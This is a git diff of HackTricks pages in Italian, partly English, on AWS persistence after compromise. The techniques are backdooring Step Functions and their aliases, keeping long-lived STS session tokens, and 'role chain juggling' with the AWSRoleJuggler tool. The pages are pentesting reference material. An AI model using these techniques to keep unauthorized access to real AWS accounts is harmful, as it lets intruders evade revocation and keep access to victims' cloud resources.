@@ -0,0 +1,21 @@
|
||||
# AWS - Step Functions Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
|
||||
Backdoor a step function per farla eseguire qualsiasi persistence trick, così ogni volta che viene eseguita eseguirà i tuoi passaggi malevoli.
|
||||
|
||||
### Backdooring aliases
|
||||
|
||||
Se l'account AWS utilizza aliases per chiamare step functions, sarebbe possibile modificare un alias per usare una nuova versione backdoored della step function.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,36 +1,36 @@
|
||||
# AWS - STS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
Per ulteriori informazioni accedi a:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
../../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Assume role token
|
||||
|
||||
I token temporanei non possono essere elencati, quindi mantenere un token temporaneo attivo è un modo per mantenere la persistenza.
|
||||
I token temporanei non possono essere elencati, quindi mantenere un token temporaneo attivo è un modo per mantenere la persistence.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# Con MFA
|
||||
# With MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Il nome del dispositivo hardware è solitamente il numero sul retro del dispositivo, come GAHT12345678
|
||||
<strong># Il nome del dispositivo SMS è l'ARN in AWS, come arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Il nome del dispositivo virtuale è l'ARN in AWS, come arn:aws:iam::123456789012:mfa/username
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Il chaining dei ruoli è una funzionalità riconosciuta di AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere una persistenza stealth. Comporta la capacità di **assumere un ruolo che poi assume un altro**, potenzialmente tornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumere reciprocamente, questa configurazione consente il rinnovo perpetuo delle credenziali.
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere la stealth persistence. Coinvolge la possibilità di **assumere un ruolo che poi ne assume un altro**, potenzialmente ritornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumersi reciprocamente, questa impostazione consente il rinnovo perpetuo delle credenziali.
|
||||
|
||||
Puoi utilizzare questo [**strumento**](https://github.com/hotnops/AWSRoleJuggler/) per mantenere attivo il chaining dei ruoli:
|
||||
Puoi usare questo [**tool**](https://github.com/hotnops/AWSRoleJuggler/) per mantenere attivo il role chaining:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
@@ -40,11 +40,11 @@ optional arguments:
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che lo script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) di quel repository Github non trova tutti i modi in cui una catena di ruoli può essere configurata.
|
||||
> Nota che lo script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) di quel repository Github non trova tutti i modi in cui una role chain può essere configurata.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Codice per eseguire il Role Juggling da PowerShell</summary>
|
||||
<summary>Codice per eseguire Role Juggling con PowerShell</summary>
|
||||
```bash
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user